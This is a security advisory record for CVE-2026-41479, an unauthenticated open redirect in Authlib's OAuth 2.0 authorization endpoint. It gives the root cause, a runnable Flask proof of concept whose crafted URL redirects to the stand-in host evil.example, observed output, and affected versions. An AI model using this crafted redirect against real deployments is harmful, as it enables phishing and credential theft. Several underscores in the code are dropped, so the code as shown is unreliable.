GHSA-w8p2-r796-3vmq

Suggest an improvement
Source
https://github.com/advisories/GHSA-w8p2-r796-3vmq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-w8p2-r796-3vmq/GHSA-w8p2-r796-3vmq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-w8p2-r796-3vmq
Aliases
  • CVE-2026-41479
Downstream
Published
2026-06-08T17:52:04Z
Modified
2026-06-08T18:00:15.935951089Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
Summary
Authlib OAuth 2.0 has Open Redirect in Authorization API that allows attacker-controlled redirect_uri through unsupported response_type
Details

Summary

Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported responsetype and supplies an attacker-controlled redirecturi.

The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.

It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.

Details

The root cause is that AuthorizationServer.get_authorization_grant() copies the raw request redirect_uri into an UnsupportedResponseTypeError before any client has been resolved and before any redirect URI validation has happened:

```python # authlib/oauth2/rfc6749/authorizationserver.py raise UnsupportedResponseTypeError( f"The response type '{request.payload.responsetype}' is not supported by the server.", request.payload.responsetype, redirecturi=request.payload.redirect_uri, )

That error object is later rendered by OAuth2Error.call(). If redirect_uri is set, Authlib automatically returns a redirect response to that URI:

# authlib/oauth2/base.py def call(self, uri=None): if self.redirecturi: params = self.getbody() loc = addparamstouri(self.redirecturi, params, self.redirect_fragment) return 302, "", [("Location", loc)] return super().call(uri=uri)

This means an unsupported response_type request can force the authorization server to redirect to an attacker-controlled URL even when:

  1. no valid client exists,
  2. no grant matched the request,
  3. no registered redirect_uri was ever checked.

    This is not a contrived code path. It is reachable through the normal Authlib authorization endpoint flow documented for Flask and Django integrations, where applications are told to call server.getconsentgrant(...) and then server.handleerrorresponse(...) on OAuth2Error.

    Relevant source and documentation references:

  • authlib/oauth2/rfc6749/authorization_server.py
  • authlib/oauth2/base.py
  • docs/flask/2/authorization-server.rst
  • docs/django/2/authorization-server.rst

    PoC

    Local test environment:

  • Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1

  • git describe: v1.6.6-104-g68e6ab3f
  • Python virtualenv: ./.venv
  • Environment variable: AUTHLIBINSECURETRANSPORT=true

    Note: AUTHLIBINSECURETRANSPORT=true was only used to allow local loopback HTTP reproduction. It does not create the vulnerable behavior. In a real deployment the same logic is reachable over HTTPS.

    Run this exact PoC from the repository root:

    export AUTHLIBINSECURETRANSPORT=true ./.venv/bin/python - <<'PY' import os, json from flask import Flask, request from authlib.integrations.flask_oauth2 import AuthorizationServer from authlib.oauth2 import OAuth2Error from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as _AuthorizationCodeGrant

    os.environ["AUTHLIBINSECURETRANSPORT"] = "true"

    class AuthorizationCodeGrant(AuthorizationCodeGrant): def saveauthorizationcode(self, code, request): raise RuntimeError("not reached") def queryauthorizationcode(self, code, client): return None def deleteauthorizationcode(self, authorizationcode): pass def authenticateuser(self, authorizationcode): return None

    app = Flask(name) app.secret_key = "testing"

    server = AuthorizationServer( app, queryclient=lambda clientid: None, savetoken=lambda token, request: None, ) server.registergrant(AuthorizationCodeGrant)

    @app.route("/oauth/authorize", methods=["GET", "POST"]) def authorize(): try: grant = server.getconsentgrant(enduser=None) except OAuth2Error as error: return server.handleerrorresponse(request, error) return server.createauthorizationresponse(grant=grant, grantuser=None)

    with app.testclient() as c: cases = { "withoutredirecturi": "/oauth/authorize?responsetype=totally-unsupported&state=s1", "withattackerredirecturi": "/oauth/authorize?responsetype=totally- unsupported&redirecturi=https%3A%2F%2Fevil.example%2Flanding&state=s1", } out = {} for name, url in cases.items(): r = c.get(url) out[name] = { "status": r.statuscode, "location": r.headers.get("Location"), "body": r.getdata(astext=True), } print(json.dumps(out, indent=2)) PY

    Observed result:

    { "withoutredirecturi": { "status": 400, "location": null, "body": "{\"error\": \"unsupportedresponsetype\", \"errordescription\": \"totally- unsupported\", \"state\": \"s1\"}" }, "withattackerredirecturi": { "status": 302, "location": "https://evil.example/landing?error=unsupportedresponsetype&error_description=totally-unsupported&state=s1",
    "body": "" } }

    This demonstrates that the only difference between a local error and an external redirect is whether the attacker supplies redirect_uri.

    The same behavior was locally reproduced with the Django integration using RequestFactory; it returned:

    { "status": 302, "location": "https://evil.example/landing?error=unsupportedresponsetype&error_description=totally-unsupported&state=s1",
    "body": "" }

Impact

This is an unauthenticated open redirect in an internet-facing authorization endpoint.

Who is impacted:

  • Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization endpoint flow.
  • No special feature flag is required beyond running the authorization endpoint itself.

    Attacker prerequisites:

  • None beyond the ability to send a victim to a crafted authorization URL.

    Practical harm:

  • Phishing and credential theft by abusing a trusted authorization server domain as a redirector.

  • Bypass of domain-based allowlists that trust the authorization server's host.
  • SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to reject unregistered redirect URIs before redirecting.

    The issue is especially concerning because the redirect happens before client existence and redirect URI legitimacy are established.

Database specific
{
    "nvd_published_at": null,
    "github_reviewed_at": "2026-06-08T17:52:04Z",
    "github_reviewed": true,
    "severity": "MODERATE",
    "cwe_ids": [
        "CWE-601"
    ]
}
References

Affected packages

PyPI / authlib

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.6.10

Affected versions

0.*
0.1rc0
0.1
0.2
0.2.1
0.3
0.4
0.4.1
0.5
0.5.1
0.6
0.7
0.8
0.9
0.10
0.11
0.12
0.12.1
0.13
0.14
0.14.1
0.14.2
0.14.3
0.15
0.15.1
0.15.2
0.15.3
0.15.4
0.15.5
0.15.6
1.*
1.0.0a1
1.0.0a2
1.0.0b1
1.0.0b2
1.0.0rc1
1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.3.1
1.3.2
1.4.0
1.4.1
1.5.0
1.5.1
1.5.2
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-w8p2-r796-3vmq/GHSA-w8p2-r796-3vmq.json"

PyPI / authlib

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
1.7.0
Fixed
1.7.1

Affected versions

1.*
1.7.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-w8p2-r796-3vmq/GHSA-w8p2-r796-3vmq.json"